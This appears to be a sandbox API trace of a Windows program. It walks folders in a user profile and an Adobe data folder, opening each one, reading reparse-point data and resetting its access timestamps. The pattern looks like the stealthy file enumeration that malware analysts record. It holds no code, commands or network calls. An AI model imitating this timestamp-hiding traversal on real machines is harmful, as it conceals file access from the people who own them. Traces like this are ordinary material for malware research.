CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.685] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.685] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM\\0-J7KAQ4ou25z" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm\\0-j7kaq4ou25z"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.688] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.688] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM\\6YZJv05" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm\\6yzjv05"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0255.689] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.689] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM\\6YZJv05\\hexMmg4Q" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm\\6yzjv05\\hexmmg4q"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0255.689] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0255.689] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0255.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM\\cousUQlb5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm\\cousuqlb5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.690] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.690] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IV2067SkiMm01 6bCuWb\\nPmM\\M-UVodyu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\iv2067skimm01 6bcuwb\\npmm\\m-uvodyu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0255.693] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.693] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NU9hV6Bnu3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nu9hv6bnu3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.694] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.694] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NU9hV6Bnu3\\bcpbT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nu9hv6bnu3\\bcpbt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.697] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.697] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.709] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.709] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.709] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.709] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.713] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.713] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\I0K0hKX-_M0kHL4T" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\i0k0hkx-_m0khl4t"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.808] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.808] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.900] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.900] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\H1A3ICWhPT81R" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\h1a3icwhpt81r"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.994] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.994] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\H1A3ICWhPT81R\\WpdcGKRPk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\h1a3icwhpt81r\\wpdcgkrpk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.994] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.994] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\irJeGbb0GY_dsIHa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\irjegbb0gy_dsiha"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0256.087] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.087] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\irJeGbb0GY_dsIHa\\u0XjXMD9p" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\irjegbb0gy_dsiha\\u0xjxmd9p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0256.134] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.134] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\u wQnOCL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\u wqnocl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.228] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.228] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\u wQnOCL\\qWyGFoo3UasKz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\u wqnocl\\qwygfoo3uaskz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.317] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.318] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\v -0X2PMCu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\v -0x2pmcu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.357] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.357] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is9Kf-hzce\\zusVASDsJnnavCPlX" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is9kf-hzce\\zusvasdsjnnavcplx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0256.399] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.399] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.400] CreateFileW (lpFileName="C:\\Users\\All Users" (normalized: "c:\\users\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0256.408] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe" (normalized: "c:\\users\\all users\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.408] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0256.408] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0256.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat" (normalized: "c:\\users\\all users\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.409] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.409] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.409] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.409] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.537] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.537] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.537] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.537] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.537] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM" (normalized: "c:\\users\\all users\\adobe\\arm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.542] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.542] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.601] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.601] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data" (normalized: "c:\\users\\all users\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0256.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop" (normalized: "c:\\users\\all users\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0256.696] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents" (normalized: "c:\\users\\all users\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0256.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Favorites" (normalized: "c:\\users\\all users\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0256.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft" (normalized: "c:\\users\\all users\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.697] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0256.697] 